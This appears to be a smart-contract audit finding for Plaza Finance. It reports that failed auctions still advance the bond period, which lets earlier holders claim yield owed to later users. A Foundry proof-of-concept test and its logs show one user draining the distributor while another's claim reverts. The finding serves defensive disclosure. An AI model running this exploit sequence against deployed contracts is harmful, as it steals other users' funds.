Suave Vermilion Worm

High

# Incomplete handling of failed auctions

### Summary

When an auction fails - either undersold or failed the pool sale limit, the Bond token holders will not be able to receive their yield in the current distribution and will be able to steal from the eligible user of the next distribution.

### Root Cause

Currently, when an auction is created the Bond token period is incremented too. This means that the Bond token holders will start accruing shares regardless of the auction's outcome. 

After the auction period expires [distribute()](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L589) should be called. However, if the  auction has not succeeded, no tokens are sent to the `Distributor` and the current Bond token holders will not receive any yield. Moreover, there is no way to create a new auction for the same period, because the current period has already been incremented. 

But once the `Distributor` has any coupon balance, users will be able to claim coupon tokens even for the failed auctions.

### Internal Pre-conditions

_No response_

### External Pre-conditions

1. The created auction is undersold.

### Attack Path

1. User creates Bond tokens
2. Auction is created
3. Auction fails
4. User1 is unable to claim his yield 
5. User2 creates Bond tokens
6. Another auction is created
7. Auction finishes successfully
8. Rewards are sent to the Distributor
9. User1 claims the rewards from the first and second Auction
10. User2 fails to claim his rewards, because User1 has claimed for failed Auction

### Impact

The Bond token holders are unable to claim the yield they are owed. 
Moreover, users will be able to claim rewards for the failed auctions, once the `Distributor` has enough funds, stealing from the yield of other users.

### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

import {Pool} from "src/Pool.sol";
import {Token} from "test/mocks/Token.sol";
import {Utils} from "src/lib/Utils.sol";
import {Auction} from "src/Auction.sol";
import {BondToken} from "src/BondToken.sol";
import {PoolFactory} from "src/PoolFactory.sol";
import {Distributor} from "src/Distributor.sol";
import {OracleFeeds} from "src/OracleFeeds.sol";
import {LeverageToken} from "src/LeverageToken.sol";
import {Deployer} from "src/utils/Deployer.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {MockPriceFeed} from "test/mocks/MockPriceFeed.sol";

contract PoolPoC is Test {
    error ZeroLeverageSupply();

    Pool pool;
    Token reserve;
    Token coupon;
    BondToken bond;
    LeverageToken lev;
    Distributor distributor;

    address governance = address(0x1);
    address user1 = address(0x2);
    address user2 = address(0x3);
    address user3 = address(0x4);

    uint256 constant RESERVE_AMOUNT = 13 ether;
    uint256 private constant CHAINLINK_DECIMAL_PRECISION = 10 ** 8;
    uint8 private constant CHAINLINK_DECIMAL = 8;
    uint256 constant USER_AMOUNT = 1 ether;

    function setUp() public {
        vm.startPrank(governance);
        address deployer = address(new Deployer());
        address oracleFeeds = address(new OracleFeeds());

        address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
        address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
        address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
        address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

        reserve = new Token("Balancer Pool Token", "balancerPoolToken", false);
        coupon = new Token("Coupon Token", "couponToken", false);

        // Deploy a mock price feed for the reserve token
        MockPriceFeed mockPriceFeed = new MockPriceFeed();
        mockPriceFeed.setMockPrice(3000 * int256(CHAINLINK_DECIMAL_PRECISION), uint8(CHAINLINK_DECIMAL));

        // Set the price feed for the reserve token
        OracleFeeds(oracleFeeds).setPriceFeed(address(reserve), address(0), address(mockPriceFeed), 100000 days);

        // Deploy the pool factory
        PoolFactory poolFactory = PoolFactory(
            Utils.deploy(
                address(new PoolFactory()),
                abi.encodeCall(
                    PoolFactory.initialize,
                    (governance, deployer, oracleFeeds, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
                )
            )
        );

        // Prepare the pool parameters
        PoolFactory.PoolParams memory params;
        params.fee = 0;
        params.reserveToken = address(reserve);
        params.sharesPerToken = 2500000;
        params.distributionPeriod = 90 days;
        params.couponToken = address(coupon);

        poolFactory.grantRole(poolFactory.GOV_ROLE(), governance);
        poolFactory.grantRole(poolFactory.POOL_ROLE(), governance);

        // Mint enough tokens for the pool deployment
        reserve.mint(governance, RESERVE_AMOUNT);
        reserve.approve(address(poolFactory), RESERVE_AMOUNT);

        pool = Pool(
            poolFactory.createPool(
                params,
                RESERVE_AMOUNT,
                10 * 10 ** 18,
                1 * 10 ** 18,
                "Bond ETH",
                "bondETH",
                "Leverage ETH",
                "levETH",
                false
            )
        );

        pool.setAuctionPeriod(10 days);

        bond = pool.bondToken();
        lev = pool.lToken();
        distributor = Distributor(poolFactory.distributors(address(pool)));

        reserve.mint(user1, USER_AMOUNT);
        reserve.mint(user2, USER_AMOUNT);
        vm.stopPrank();
    }

    function testAuctionFailureLeadToStolenFundsAndInsolvency() public {
        (uint256 currentPeriod,) = bond.globalPool();
        assertEq(currentPeriod, 0);
        //1. User 1 deposits
        vm.startPrank(user1);
        reserve.approve(address(pool), USER_AMOUNT);
        pool.create(Pool.TokenType.BOND, USER_AMOUNT, 0);
        vm.stopPrank();

        //2. Skip 95 days = 90 days distribution period + 5 days auction period
        skip(95 days);

        pool.startAuction();
        Auction auction = Auction(pool.auctions(0));

        (currentPeriod,) = bond.globalPool();
        console.log("Current period: ", currentPeriod);
        assertEq(currentPeriod, 1);

        //3. Skip 10 days = auction period, to fail the auction

        skip(10 days);

        //4. End the auction
        auction.endAuction();
        assert(auction.state() == Auction.State.FAILED_UNDERSOLD);

        //5. Call distribute
        pool.distribute();

        //6. Check the balance of the distributor
        assertEq(coupon.balanceOf(address(distributor)), 0);

        //7. User 2 deposits
        vm.startPrank(user2);
        reserve.approve(address(pool), USER_AMOUNT);
        pool.create(Pool.TokenType.BOND, USER_AMOUNT, 0);
        vm.stopPrank();

        //8. Skip 90 days = distribution period
        skip(90 days);

        //9. Create new auction
        pool.startAuction();
        auction = Auction(pool.auctions(1));
        (currentPeriod,) = bond.globalPool();
        console.log("Current period: ", currentPeriod);
        assertEq(currentPeriod, 2);

        // 10. Fill the auction
        coupon.mint(address(user3), auction.totalBuyCouponAmount());
        vm.startPrank(user3);
        coupon.approve(address(auction), auction.totalBuyCouponAmount());
        auction.bid(1 ether, auction.totalBuyCouponAmount());
        vm.stopPrank();

        //11. Skip the auction time
        skip(10 days);

        //12. End the auction
        auction.endAuction();
        assert(auction.state() == Auction.State.SUCCEEDED);

        //13. Call distribute
        pool.distribute();

        //14. Check the balance of the distributor
        console.log("Distributor balance: ", coupon.balanceOf(address(distributor)));

        //15. User 1 claims
        vm.startPrank(user1);
        distributor.claim();
        vm.stopPrank();
        console.log("User 1 balance: ", coupon.balanceOf(user1));

        //16. User 2 claims
        vm.startPrank(user2);
        vm.expectRevert(Distributor.NotEnoughSharesBalance.selector);
        distributor.claim();
        vm.stopPrank();
        console.log("User 2 balance: ", coupon.balanceOf(user2));
    }

}
```

Logs:
```logs
      Current period:  1
      Current period:  2
      Distributor balance:  175000000000000000000
      User 1 balance:  150000000000000000000
      User 2 balance:  0
```

### Mitigation

Implement better auction handling.